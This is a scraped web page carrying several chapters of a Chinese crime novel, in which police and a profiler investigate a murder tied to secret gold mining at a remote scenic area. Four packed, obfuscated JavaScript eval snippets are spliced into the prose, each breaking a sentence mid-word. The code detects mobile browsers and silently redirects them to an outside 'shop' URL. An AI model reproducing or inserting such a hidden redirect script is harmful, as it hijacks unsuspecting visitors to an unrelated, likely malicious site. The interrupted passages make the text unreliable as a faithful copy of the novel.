l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592246|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新的PPT。
“好的,时间到了,大家有什么想法?”
老李第一个举手:
“黑独山是一个还没开发好的景区,山体没有树林,也没有草地,只有砂石。死者鞋底有黑色的小石头,跟黑独山的砂石很像,初步估计,他应该是自行进入的黑独山,而不是死后被人抛尸到这里。”
另一个警员也举手:
“黑独山从门口的保安亭进去大概开40分钟才到景点,地势偏远、没有人烟,开放时间是早上8点到晚上18点,晚上是禁止进出的。死者能进去,应该跟保安关系很好。他为什么能进去?进去干什么?应该能从保安那里拿到不少线索。”
“从尸体的腐烂程度来看,死亡时间应该在2-4天之间。如果真的跟工人所说,他跟大家的关系很好。那么,一个人突然消失两天,为什么没有人报案?我认为,死者的工友需要仔细录一份口供。”
“他的妻子也很奇怪。没有去现场,也没有去工地,为什么要带着人来市局闹事?还带那么多人。”
一通讨论下来,每到一个重要的点,赵与就在屏幕上打出相应的关键词,同时在脑中构建一张工作网。
“没错,目前看来,这个案子的疑点很多:
一,死者为什么晚上要去黑独山?保安不开门,他怎么进去的?保安如果开门,后面人没出来,为什么不报警?
二,死者的致命伤在后脑,没有打斗痕迹,初步估计熟人作案。但周围的人对他评价很高,甚至不清楚事情真相,会跟着他太太闹到市局。他到底做过什么,单单让凶手这么痛恨他?
三,高山公路和陈家村都属于蓊南市,跟我市的黑独山都属于交界处,发展比较落后。工地的建筑时间是早上7点到晚上18点,因为地势偏僻,工期不赶,晚上从不加班。工地方圆十几里没有超市、没有县城,死者为什么晚上外出?他想做什么?
四、发现尸体的报警电话是6点11分打的,黑独山大门早上8点才开,目击者是怎么进去的?
以及,初步可以排除抢劫杀人的可能性。”
如果说,赵与陈述的前四点也是目前此案最大的几个疑点,众人尚可理解。但,最后一点,排除抢劫杀人,是怎么得出来的?
赵与听到好几声“嗯?”,将死者身后位的照片放大,聚焦到迷彩裤后方的口袋——角落有一个黄豆大小的破洞。
放大,再放大,等电脑的系统缓冲掉像素块,破洞里面的东西撞进眼球——
红色的百元大钞。
“喝!”
“我去......”
“钱没拿走,说明不是冲钱来的!”
“那拿走手机跟钱包,应该是想装成抢劫杀人的假象。”
“赵队这眼力,绝了啊......”
赵与发表完自己的看法,示意在场的警员都安静一下,扭头看向一开始就坐在右手边、从未说过一句话的柳回笙,说:
“这位是咱们一大队的侧写师,柳回笙,大家之前应该见过。这个案子到这里,柳警官有初步的侧写画像了么?”
柳回笙面前只放着一个棕皮的笔记本,纸面记了几个英语单词,龙飞凤舞,只她自己看得清楚。接到赵与的话,她将上半身往前倾了几分,分享自己的侧写结果:
“凶手是单人作案。男,身高170-180之间,年纪18-30岁,体型中等偏瘦,左撇子,不抽烟。不仅认识死者,表面关系还比较好。跟死者应该是约好去黑独山碰面的,如果问保安,应该还能问出更多线索。”
11. 可疑的保安(一)
“凶手是单人作案。男,身高170-180之间,年纪18-30岁,体型中等偏瘦,左撇子,不抽烟。不仅认识死者,表面关系还比较好。跟死者应该是约好去黑独山碰面的,如果问保安,应该还能问出更多线索。”
柳回笙的侧写结果出来,在场所有人都没有说话,你看我,我看你,眼珠子转了一圈,还是刚考进来的一个小姑娘开了口:
“不愧是柳警官,这么快就侧写出来了!”
小姑娘叫「谢可」,25岁,今年刚硕士毕业,是一大队年纪最小的新人。
她坐在柳回笙对面,脸上笑盈盈的,大有一种学生听到感兴趣的话题疯狂吹捧老师的既视感。
“我刚也尝试侧写了一下,跟你差远了。‘不抽烟’那个是怎么得出来的?我学习一下。”
柳回笙看着她的表情,恍惚看到从前一直跟在她后面记小本本的陈豆豆,心尖软了一下,说:
“死者随身携带打火机和烟,说明他有抽烟的习惯。一包烟只少了一根,现场也只有一个烟蒂,说明是死者自己抽的。但凡凶手会抽烟,或者能接受抽烟,会跟死者一起抽。”
“噢......有道理。”
柳回笙扫了一圈周围,从表情里多多少少读出一些恍然大悟和残留的疑惑,接着说:
“侧写这个行业在蓊阳这边还比较新,但我可以保证侧写结果是科学可靠的。正好现在还有时间,我把侧写的依据跟大家同步一下,或许能提供一些思路。”
接着开始道出依据:
“死者的后脑遭受持续性击打,创口位于后方偏左,所以是左撇子。”
“事发地环境偏远,又是在半夜。死者从后面被袭击,且身上没有厮打的痕迹,所以凶手应该跟死者认识,并且比较熟。结合他鞋底的碎石子,颜色深,颗粒小,跟黑独山大门的灰色石子不一样,属于景区深处。很大概率,他是在主观意识清醒的情况下进入黑独山的。综合这两点——死者应该是跟凶手约好在那里碰面。”
“从死者衣物表面的尘土和衣裤磨损情况来看,是死后被拖进坑里掩埋的。如果是两个人,会一头一尾抱起来把他扔进去。其次,死者的体型不大,体重应该在120到130斤左右。如果凶手体力比较好,可以直接将他扛进去,或者从后方抱着上半身把他拖进去,磨损的只有后脚跟的鞋子和裤脚。但死者磨损的是身前,从上衣到裤腿都有明显磨损。说明,凶手没有体力抱起上半身,只能在死者死亡之后,就着面朝下的姿势,通过拖拽衣物的办法把他拖进坑里,再进行掩埋。所以——凶手不光是单人行动,其本身的劳动能力较低,身材体型偏小。”
“以上,是侧写结果的部分依据。如果大家有什么问题,可以现在提出来,我进一步解答。”
从前在蓊城,柳回笙的侧写之路磕磕绊绊。尤其刚报到的那段时间,大家习惯了传统的破案方法,对这种新兴的技术并不重视,甚至接受起来困难重重。当时的副队长秦松,就时常因为侧写结果跟柳回笙闹矛盾。
好在后面破了几个大案,证实了侧写的重要性,大家才慢慢接受起来。
只是,如今从蓊城调到蓊阳,又是一批新同事,又要重新建立信任机制。
“这个我没什么问题,看赵队怎么安排。”
“尤其不吸烟那点,我非常赞同。工人一般喜欢散烟,如果凶手也抽烟,死者多半会散给他一根。”
“性别这一点我还是保留一下。工地上的妇女力气也不小,具备杀人的能力。”
“现在很多线索都还没找到,贸然下定论还是有点仓促,不然查两天再侧写一下?”
一圈下来,大部分还是表示赞同。少数几个持保留意见的,也只是发表了保守看法,没有针锋相对——
柳回笙如今已经在蓊阳公大就职教授了,不是刚回来履历平平的新人。
赵与颔首,这是她跟柳回笙调任以来遇到的第一个恶劣凶杀案,组内讨论氛围和谐很大程度可以推进破案进程。
于是开口:
“好,那我就现在得到的线索安排一下接下来的工作,这是分组的名单——”
点开电脑上刚制定的分组表格,投影到屏幕上。
“一组,组长赵与,负责调查现场,并对景区人员进行口供采集;
二组,组长李夏英,负责调查死者社会关系,着重调查工地工友,看是否存在人际矛盾和情感纠纷;
三组,组长陆鹏,负责调查死者家族和邻里关系,重点关注陈家村村民;
四组,组长刘在忠,负责调查案发地附近和工地监控;
五组,组长万和,负责调查死者财务情况,看是否与人存在经济纠纷;
六组,组长董泽,对接鉴证专家和法医,进一步确认死者死因。”
赵与安排任务干净利落,内容精准、分工明确,每个组的人数根据工作量有些许的人数调整,也会根据不同人擅长的领域分配特定的工作内容——专人专用,是提高团队合作上限的一大要因。
安排完工作,赵与把分工表截图发布到群里,抬头,目光带着裹挟着命案的严肃沉降到桌面:
“所有人,随时保持联系,有重大发现及时上报,明白了吗?”
众人朗声回复:
“明白!”
一大队的警员是刑侦方面的精英,遇到命案,所有人都打气十二分精神,散会后一边往外走一边建了各小组的工作群。
“李姐,2580,面对面建群我弄好了。”
“好,把小杜拉进来。”
“赵队,景区开发商的电话要不要?我这儿有。”
“好,发我一下。”
“老李,你们开公车去吧,我开我那个。”
“行。”
“鹏哥,我看去陈家村的船只有10点这一班了,我们得赶紧走。”
“好,收拾一下出发吧。”
会议室很快空空如也,柳回笙跟赵与回办公室放电脑,喝口水也准备出发。
跟她们一组的还有一个——谢可,刚才开会时请教柳回笙侧写的警员。
“赵队,柳警官,我准备好啦!”
她咧着嘴,脸上喜笑颜开,双肩包在背后一颠一颠的,兴奋得仿佛不是去查案,而是去春游。
赵与看着她欢快的样子,眸底生出一股嫌恶,冷声问:
“这么兴奋?”
谢可眨了一下眼睛,脸上只有跨出新手村大杀四方的激动,没有半点被教育的反思,还说:
“对啊。这是我入职以来参加的第一个案子,我得好好干。”
赵与听了,眉毛皱得更紧——人命关天,谢可却一副玩游戏的样子,大学不教思政?
刚要开口,手腕就被柳回笙扣了一下。转头,却见柳回笙一脸宽和地看着谢可,说:
“嗯,每个人都有每个人的工作方式。态度积极一点,案子也破得快。”
谢可深表赞同,用力大幅度点了一下头:
“就是的!积极是工作的本钱,乐观是奋斗的动力。要是我天天苦大仇深的,思维会禁锢的,到时候什么案子也破不出来。”
赵与看着她,从头扫到脚,再从脚扫到头,怎么看怎么刺眼。
算了,一个刚毕业不知天高地厚的新人,带一段时间就好了。
最后憋了两个字:
“走吧。”
谢可似乎天生神经大条,感受不到别人的情绪。又似乎感受到了却不以为意,挥了挥手里的车钥匙,说:
“好嘞!我车停在后面了,那我先下去开车,你们等会儿下来。”
柳回笙欣然点头:“好,永昌路那里是吧?”
“对对对!”
等谢可坐电梯下去,柳回笙才转身回来,半埋怨半提醒地跟赵与说:
“人家小姑娘挺积极的,你干嘛板着脸?”
赵与把半散的皮筋扯下,三两下把头发重新扎稳:
“人命关天,嬉皮笑脸的怎么破案?”
“每个人都有每个人的方式啊。”柳回笙笑着说。
“是么?怎么没见其他人这样?”
“说明她跟其他人都不一样。还记得豆豆说过的吗?邪修也是修,管她什么办法,能破案就行。再说了——”
柳回笙拿了一张资料表放在赵与桌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592247|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上,点了点中间的几个字。
“人家谢可挺优秀的。”
那张资料表里,白底制服的证件照下方,白纸黑字写着格外清晰的一行字:
【研究生专业第一,公安联考总成绩第一】
这资料赵与看过,正是看过,才觉得跟想象中的“专业第一”尤其不符。但成绩又是谢可凭真本事自己考出来的,做不得假。
于是叹气,再叹气,最终说:
“先看看她有什么本事吧。走了。”
柳回笙看她生气又拿新人没办法的样子,实在觉得可爱,若非现在任务紧急,她非要把人推到墙上,再出言挑逗几句。
两人坐电梯下楼,从旁侧的后门穿到永昌路。刚跨出去,就看到不远处的谢可。
那辆黑色小鹏应该是她的,钥匙还抓在手里,车子还没解锁,二人的视线就被车门边一个摇摇晃晃的大爷夺走。
那大爷头发花白,身上一件藏青色外套,下面一条黑色长裤,弯曲的两腿左晃右晃、左晃右晃,咣当一声,撞击车门后躺到了地上。
“嚯!”
刚准备解锁的谢可吓得一蹦,抓紧车钥匙,问得小心翼翼:
“大爷你,干嘛啊?”
大爷虚弱无比地抬起颤抖的手,指着谢可:
“你,你撞我......”
“啊?!”
谢可一记爆吼,吓得柳回笙以为谁家摩托车发动了,再一定睛,只看到谢可用力晃动手里的车钥匙。
“我车都没解锁怎么撞你啊!”
大爷不看,大爷不听。
“就是你撞我......哎哟,哎哟......”
谢可气炸了:
“天菩萨——你这有点过分了啊!你碰瓷也找个豪车吧?我这个车二手的值几个钱!还有啊,我动都没动你就撞过来了,你也稍微尊重一下车主行不行啊?看都不看就躺下去,这么招笑你去春晚演小品得了你!”
无论谢可怎么说,对方就跟粘在地上一样一动不动。
警队一颗冉冉升起的新星,刚出新手村,就被碰瓷的大爷打回原形。
赵与看得头疼,三步并作两步跨上去,从口袋里掏出警官证,亮在大爷脸前,冷声道:
“警察。耽误办案我随时可以带你回去。要么自己起来,我当什么都没发生。要么我身上还有一副手铐。自己选。”
大爷瞄了眼赵与手里的证件,橘子皮般的眼皮猛地一跳,一骨碌爬起,以百米冲刺的速度跳出花坛,消失在街道拐角。
有时候,面对无赖不能用谢可那种文明讲理的方式,要么亮明身份重拳出击,要么比对方还要无赖。
今天这种情况,落在旁人身上定是要“指教”两句的。譬如“遇到碰瓷该怎么办”,譬如“什么事情都不能影响办案”。
赵与没有。
一来,她带人喜欢靠实力,而非说教。二来,按照谢可专业第一的领悟能力,自己也能从这个碰瓷的小事件里总结出经验。
上车之后,赵与在主驾开车,副驾的柳回笙见谢可一副苦大仇深的表情,便安慰她:
“没事,办案要紧。下次碰到这种情况就会处理了,没关系。”
“不,我学到了好多。”谢可掏出笔记本疯狂写。
“学到什么?”柳回笙问。
是怎么应对碰瓷的老人,还是怎么亮明自己的刑警身份?
谁知谢可一副高考生做卷子的样子在笔记本上飞快记录,写完开始炫耀:
“我想到一个办法,要是以后想套嫌疑人,我也可以跟这个大爷一样,碰瓷撞他的车,然后把他引出来,要么赔钱,套到他的手机号跟微信。要么打一架,以斗殴的理由打进警局趁机调查。”
说完,自我钦佩地拍了一下手:
“啧,要不怎么说咱这脑瓜子转得快呢盒盒盒!”
柳回笙反应了一下,朝旁边一看,赵与额头上的筋已经红了。但转念一想,谢可思考的模式的确跟寻常人不一样,并且,再小的事件都能触发她破案的灵感,怎么不算是另一种根正苗红?
“嗯,你有这个觉悟,什么案子都难不倒你。”
12. 可疑的保安(二)
三人驱车很快到了黑独山,彼时天已经大亮,陆续有游客自驾抵达景区门口,被值守的警员劝退。
黑独山地理位置特殊,又处于还没开发完成的状态,山与山之间有的是大片平底,有的是泥黄土坡,远处的山脉又成水墨色堆叠在一起,除了尸体发现地点之外,任何一个地方都可能残留着蛛丝马迹。
故而,赵与跟上级领导一致决定,对整个黑独山景区进行封锁。
从大路拐到进山的沙土小路,刚进去30米就是保安室。
保安室位于小路的左手方,路中间一个车道放行的升降杆,勉强算是景区大门。右手边是一排四间工地常用的可移动铁皮房,往里的两根麻绳晾着几件裹满风沙的衣服。
保安室有两层,上面修了一层瞭望塔,塔顶有雨棚,便于观察附近的情况。
门口立着一块大型黑板,上面用粉笔写了三十几个车牌。
“这些车牌是什么意思?”赵与问。
保安头子上来说:
“这些都是进去乱开的,搞得山上有车轮印,很难看。”
“有规定参观的行驶路线吗?”
“有的。里面很大,又没有树、没有草,沙子上面全是小石头,车子一轧上去就有印子,景观就被破坏了。所以一开始的时候就规定了路线。”
“到景点要多久?”
“看车。里面的路不好开,路还没修好,要是四驱的SUV,像坦克300那种,可能20分钟就开到了。要是两驱的,就得开个半个多小时。”
“沿路都有监控吗?”
“有倒是有,就是......没有完全覆盖。里面真的太大了,所以只在一些比较关键的路口装了。再往里面还有个小的保安亭,为了确保游客的安全,他们开到那里的时候,我们都还要提醒的。”
“提醒什么?”
“就是说里面都是原始景观,不要开到规划路线以外的地方,不然车子容易陷进去,我们还要开皮卡去拖。然后就是必须要在晚上6点之前出来,不然天黑了很危险。”
赵与一边问一边观察,保安亭往里停着一辆小型皮卡,应该就是保安所说的“拖陷进去的车”的。车子有些年纪,厚重的灰尘之下,脱漆的铁皮反射着粗糙的红锈光泽。
车子后面的货仓有许多杂乱的脚印,角落撒了几块黑色的石头。车胎气量不足,在干燥的深山里饱经沧桑,除了灰尘之外,还卡了许多大大小小的黑色碎石。
看完外面一圈,赵与心里有了个大概,趁相关人员还没有离开,她便以保安室为据点,挨个给他们录了口供。
目击者陆翔:
“警官,尸体是我发现的。我们兄弟三个带着狗出来自驾嘛,停车之后就往最有名那个黑山走了一段。谁知道我们家狗没走多久就去刨那块地。我之前是听小道消息说,黑独山有矿金。狗不是招财的嘛?我们几个就跟着挖了几下,谁知道挖着挖着,就看到那个土有点红,再挖,就看到一个手!”
“挖到手之后你们干了什么?”赵与问。
“我们就赶紧报警啊!”
“报警时间是早上6点11分,那时景区还没开放,你们怎么进来的?”
“就......就是趁保安不注意的时候,从大门旁边绕了一下。”
“那时候天都没亮,你们进来干什么?”
“看日出噻!这个山全都是黑的,日出的时候特别好看。那个......我们是做摄影的,所以就,就想着出点片......警官,我保证哈,我们几个绝对都是安安分分的良好市民,什么坏事都没做过!”
保安头子陈光:
“我是今年才过来做保安的。我之前在外地打工,出事故瞎了一个眼睛,工地不要我干了,我就回村子里去种地。后来四哥(死者)看我造孽,就介绍我过来做保安。虽然辛是辛苦了点,但是钱比种地多。”
“之前死者身上的红色打火机,就是你认出来的吧?”
“对的对的。”
“那个打火机很特别吗?你怎么认出就是他的?”
“嗨呀,四哥前段时间发了财,买了那个打火机,说是要900多,天天拿出来,我肯定认得到噻!”
“发什么财?”
“这我怎么知道?”
小保安李志:
“我来这里两年了,之前都好端端的,最近老是有人进去乱开,把景观破坏得很严重。尤其西山那一块,还有人乱挖,不知道是哪个带的头。所以我就搞了个黑名单,那些进去乱开的车子,第二次来就不让进。”
“乱挖什么?”
“不知道啊,我那次去巡逻看到的,几个车轮子印蹿到西山那边,山脚有很多洞,一看就是新挖的。”
“听说黑独山有矿金,这个是真的吗?”
“哪里有什么矿金哦?当地人这么多,真要有的话,还轮得到别个吗?”
“有没有看到是谁挖的?”
“没有。我那天去的时候天都要黑了,就看到四五个洞洞,里面很深,我不敢进去嘛。后来我跟光哥说了,光哥喊我不要管闲事,当不知道。”
“光哥是谁?”
“就是陈光,我们几个的老大。”
“地方还能找到吗?带我们过去一下。”
“要的,那我先去上个厕所。你们要不要也上一个?进去有点远,开车来回都是一个多小时。”
给几人陆续昨晚笔录,赵与跟柳回笙走出保安室。
小保安李志是最后一个,外面一排或坐或站立着刚做过笔录的人。有的着急走人,有的恐惧杀人之祸降临自己头上,唯只保安头子陈光,两条眉毛锁在一起,嘴巴也往里抿着,心事重重的样子。
“老大,她们想去看下西山那里,我等下带她们去哈?”
李志一出来就去找陈光汇报。
话音刚落,陈光的嘴就抿的更深,同时两手抓着衣服下摆,手臂绷直。
“啊?去西山干什么?”
“那边儿不是有人乱挖吗?警官她们可能觉得有问题,就想去看看。”
“噢,噢......那,那你们去吧。”
高山之巅巍峨耸立,穿透云海的山峰透着一股高处不胜寒的清冷和岌岌可危,两座山峰之间连接着一根细长的铁索,鞋底踩上去,铁索摇晃,风声凛冽,往前往后,都将坠入深渊。
一旁,始终在观察表情和肢体动作的柳回笙往前一迈,停到陈光面前:
“陈先生,我想请你跟我们走一趟。”
陈光猛地一震,用没有瞎的右眼看向柳回笙,哆哆嗦嗦摆手:
“我?我怎么要走一趟了?我什么都没干,什么都不知道!”
赵与将他的反常收进眼底,说:
“让你走一趟,不是跟我们回警局,是一起去西山。”
陈光这才大松一口气:
“噢......那走吧。”
出发前,赵与用相机给皮卡里里外外拍了一圈照,着重给车轮和货仓拍了特写。随后,用警戒线把皮卡围了起来,坐了另一辆在门口不远作业的货车。
如保安所说,景区的确规划了行驶路线,即便没有水泥路,全是砂石,但每隔100米都有一个指示牌。
去往西山的路线不一样,在进入小路后约10公里就岔道右拐——
已经被压出一道清晰的车辙印。
李志在主驾开车,一边开车一边提供自己知道的线索:
“就是这条路,之前都没有的,现在很多人乱开,都开了条新路出来了。尸体就在前面几公里的样子......那里那里,就是那里!”
循着李志手指的方向,果然是今天刚用警戒线围起来的尸体发现地。周边还有几个警员在做现场勘察的样本采集工作。
“警官,我要开慢点了。这边
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592248|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就是景观比较好的区域了,我要沿着这个车印子开,不然又轧出新印子来,山体就又被破坏了。”
赵与安慰他:
“没事,慢点就行,保护好景观。”
又往前行驶了半个小时,一行人才终于抵达李志说的“乱挖的山洞”。
洞口在景区最有名的黑山脚下,这里的碎石颜色漆黑,比景点处的石头颜色更深,材质不似路上的砂石,而是呈矿物反光状,跟门口的皮卡车胎上卡住的碎石很像。
再看洞口,山脚线前后100米的位置就有4个山洞,洞口窄且深,用手电筒往里照,看不到尽头。
谢可伸长脖子往里一看:
“我靠,感觉好深,什么也看不到。”
赵与看了眼柳回笙:
“你们在外面等一下。”
“你想干什么?里面危险。”柳回笙担心她。
“没事,你俩看着就行。”
“看”不是四声,而是一声。
柳回笙会意——赵与是让她们看住两个保安。
于是点头:“好。”
赵与往洞里走了几步,点开手表的计时器,在1秒的时候用力拍手,随后拇指悬在表盘上方,听到回音之后按下标记键。
第一次回声3.8秒,第二次回声4.3秒,减去最开始的1秒,分别是2.8和3.3。
声速传播是340m/s,这么算下来,单向距离分别是476米和561米。
再用手电筒往洞壁侧上方照去,嵌着一根手腕粗的木头,很像用来悬挂某种东西用的,譬如——灯。
赵与拍完照出去,刚走两步,就听到柳回笙一声尖锐的斥吼:
“站住!”
立即拔腿冲出去,只见柳回笙正往车子停靠的位置追,前方,陈光已经逃窜到车门边,眼看就要摸到车门,被谢可一个飞踢踹中后背,胳膊被反拧到背后,沉重地摔在车门上。
咣!
谢可一反往常嘻嘻哈哈的样子,手臂曲成钢铁般的三角折线,把陈光死死压在车上,吼到:
“跑什么你!别动!”
陈光发疯般大喊,失明的左眼眼皮猛烈痉挛:
“我不知道!我不知道!”
赵与忙过去帮忙把陈光按住:
“别动!老实点!”
单手压住陈光的后颈,另一手掏出手铐,将人跟后视镜铐在一起。
“锁我干什么?我什么都不知道锁我干什么!”
陈光大喊大叫,吓得小保安连连后退。
赵与站在陈光面前,厉声呵斥:
“吼什么!越吼越证明你心虚,把嘴闭上!”
赵与之前的问话过程语气平和,尽管端着一脸严肃刚正不阿的长相,却给人一种“可能警察天生就是这样”的既视感。直到现在一招把人制服,呵斥声堪比从头顶罩下的巨钟,陈光才被吓破胆,瑟缩地抓着后视镜。
“陈光。”
赵与沉声质问:
“我现在正式通知你,请你跟我们回一趟警局,协助调查。路程一个半小时,你好好交代,你们是什么时候开始挖矿的。”
前往西山一共三条车辙,辙印新且重,应该被反复碾压多次。线路呈直线,目的性强,途径地没有景点。
景区专用的皮卡虽然好端端停在门口,但货仓的脚印复杂混乱,初初看去已经有十几个不同的鞋印。
车胎夹缝里的小石子并非砂石,而是呈现金属矿物反光的材质,颜色跟景区门口、景点停车区的都不一样,是浓墨般的黑色,跟西山一带一致。
洞口内部极深,边缘规则,不同于自然形成的山洞,而是人工挖掘形成。加上墙壁上用来挂东西的短木,极可能是作业时悬挂照明灯所用。
种种迹象表明,在这个还没开发完全的景区,有一群人偷偷挖矿。
而死者陈海波,八成就是其中一员。
13.挖矿(一)
回去的路上,赵与通知了鉴证取样的同事,一组到矿洞周围进行样品提取,一组对景区门口的皮卡进行全面检测。
埋尸现场没有发现新线索,第一次拍照取证的工作做得比较全面,能分析的在会议上已经分析了。
重点,是新查出来的「挖矿事件」。
审讯室,墙壁上显示着10月4号的时刻表和温湿度。
房间中央,陈光佝偻着坐在位置上,大号的保安服下空空荡荡,瘦削的身体宛如一根骨架,耸着肩膀,缩着脖子,皲裂的两手呈现长期户外劳作的紫红色,失明的左眼眼皮破布般褶皱着。
身前的审讯位上坐着两个人,左边赵与,右边柳回笙。
“核对下信息。”
赵与开口:
“陈光,男,56岁,家住大尧岛陈家村堰塘口12号,职业为黑独山景区保安,对的吧?”
陈光抬起唯一能看清东西的右眼,眼白盖了一层炎症的蛋黄膜。
“对的。”他说。
赵与放下资料表,问:
“说说吧,挖矿怎么回事?”
陈光抬起的脸埋了下去,脖子朝左侧拧了半圈:
“我不知道。”
柳回笙将他逃避的动作收进眼底,用膝盖碰了碰赵与,示意让自己接棒。随后在平和的气氛里破口问到:
“人是你杀的么?”
陈光噌一下抬头:
“不是!”
柳回笙扫了眼他的动作,上半身前倾,双手往前蹿,眼神渴求且急迫——这是一个真诚、渴望自己被相信的动作。
人不是他杀的。
但,他一定知道挖矿的事。
柳回笙没有完全松口,借陈光的紧张继续说:
“不是?那你为什么要帮忙隐瞒?”
“我,我......我没有,我只是不知道。不知道还犯法吗?”
“不知道当然不犯法,但你在明明知道的前提下,还要隐瞒警方,耽误了破案进度,导致真凶逍遥法外,就涉嫌包庇罪。”
“包庇......我没有包庇,我什么都不知道。”
柳回笙见他怕成这样,却还是咬死也不松口,便换了一个说法:
“你很害怕矿洞被发现,也害怕挖矿被发现。这也能理解,如果景区的开发商发现有人偷偷在景点挖矿,第一个问责的就是保安。搞不好,你这个好不容易到手的饭碗就保不住了。”
说着,从资料袋里取出一张照片,上面是一个面容和善的中年妇女。
“这个人认识么?”
陈光抬头看了眼,目光有所停顿,又把头低了下去:
“我婆娘。”
柳回笙继续:
“据调查,你太太的右腿高位截肢,只有左腿能活动。目前在家务农,行动能力有限,主要以帮人编织草帽草鞋为生。你出来打工,也是想给你们夫妻俩挣养老钱。但你有没有想过,你要是因为包庇罪进去了,她一个人怎么生活?”
陈光的脸抽搐了一下,明显慌了:
“警官,你们找她干什么?这个事不关她的事!她一个人在农村,什么都不知道!”
“她是你的法定配偶,如果你不配合,她是跟你关系最亲近的人,我们就只能去问她。”
“她!你去问她什么嘛!她真的什么都不知道,你不要把她扯进来嘛!”
陈光激动地又是跺脚又是拍桌,声音也颤抖起来,慌得不行,生恐柳回笙带人去陈家村找人。
柳回笙盯着他,声音凌厉起来:
“好,不说她,就说你——
陈光,矿洞已经发现,挖矿的事情你能瞒多久?你自己交代叫主动配合调查,到时候我们警方查出来你就叫包庇,是拿奖金还是吃牢饭,这笔账你不会算么?
陈海波就是矿队的一员,他现在被杀,一定是因为产生了纠纷。你知道凶手是谁么?直到他为什么杀陈海波么?如果他就是因为矿洞的事情杀人,现在是陈海波,下一个,会不会就是你?”
高山遭遇炮轰,巍峨的山体赫然坍塌,石块混着沙土一边沉降一边爆发,炸出一团混沌不堪的蘑菇云。
陈光僵在原地,似被观音菩萨点化前卡在现出原形的妖兽,入定般僵持着,许久许久,才终于闭上眼睛,紧绷的身体陡然松懈,瘫在椅子上。
“去年,我被工地赶回来之后,一直没有找到活儿干。家里的地也不好,种些稻子,一年到头也卖不了几个钱。后来四哥,就是陈海波,他说他们工地附近有个景区要开发,要招保安,就介绍我过来。”
“一个月3000,算下来一天100,已经很好了。而且开发的时候情况比较复杂,开发商看我在工地干过,就让我当保安头子,每个月多200块钱。”
“差不多是4月份的时候,陈海波跟我说,山里头有矿金,如果挖到了,一小块都是好几万。他还拿给我看,那个石头确实弄开是黄的,跟金子一样。”
“我害怕出事,他说他已经找好大老板了,挖到的矿金直接送到工厂去加工,拿到的钱大家平分。反正每天进去的车也有乱开的,多两道印子,少两道印子,没人发现。他们每个星期要进去3次,每次都给我200块钱。我就......就,提前把监控扯了,然后在吃晚饭的时候,给其他保安下点安眠药,等他们来了,放他们进去......”
“警官,事情就是这样的,该说的我都说了,我是收了一点钱,但是我没有进去挖过,里面是什么样子我也不知道。陈海波为什么突然被人杀了,我也一点都不清楚的!真的不关我的事!”
他把事情的来龙去脉说了一遍,柳回笙一直观察着他的表情和肢体动作,没有发现说谎的迹象。于是对赵与点点头,表示口供可信。
赵与将口供跟案情从头梳理了一遍,问到:
“你最后一次见到陈海波是什么时候?”
陈光回忆:“就是1号那天晚上。”
赵与一凛——今天4号,1号刚好在法医推断的“死亡2-3天”的时间之内。
于是追问:
“在哪?干了什么?”
陈光回想了一下,说:
“那天他一个人来的,没有带人。外面黑漆麻乌的,又没有灯,我想着一个人进去太危险了,就跟他说要不算了。但他说不行,非要进去看看,还说什么要是发财了,卖了给我分1000。”
“发什么财?”
“总归就是挖矿呗。他靠着这个矿发了好大一笔财,那个打火机就是挖矿之后买的。”
赵与打开文件夹,翻出陈海波遇害时的上衣和裤子,两张照片立着举起:
“他当时穿的是这身吗?”
陈光盯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594206|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着照片回忆了好几秒:
“好像......不是,我记得他那天穿的是件牛仔衣。可能他后面换了吧,因为他后面半夜的时候又出来了。”
“出来了?”
“对。”
“几点出来的?”
“好像是1点过了。我不是帮他把监控扯了吗?他出来还给了我一包烟。”
“烟?什么烟?”
赵与警觉——陈海波遇害的时候,口袋里就有一包刚抽了一根的金山寺。
陈光说:“腊梅,还有大半包。”
“怎么给你的?他自己抽没抽?”
“就直接给我扔过来了。我在屋里头,他就隔着那个窗丢给我。”
“之后呢?”
“我就让他赶紧走嘛,其他保安还在睡觉,万一弄醒了,到时候说不清楚。然后他就骑着他那个摩托走了。”
“有没有跟你说去哪?”
“没有,就说了句‘走了’。但是他朝着工地那个方向开的,我估计是回工人宿舍了。”
“然后呢?后面有没有回来,或者再联系你。”
“没有。我后来就去把电闸打开了,不然明天早上他们起来发现电闸关了,我不好说。”
“电闸?你不是关的监控么?怎么还关了电闸?”
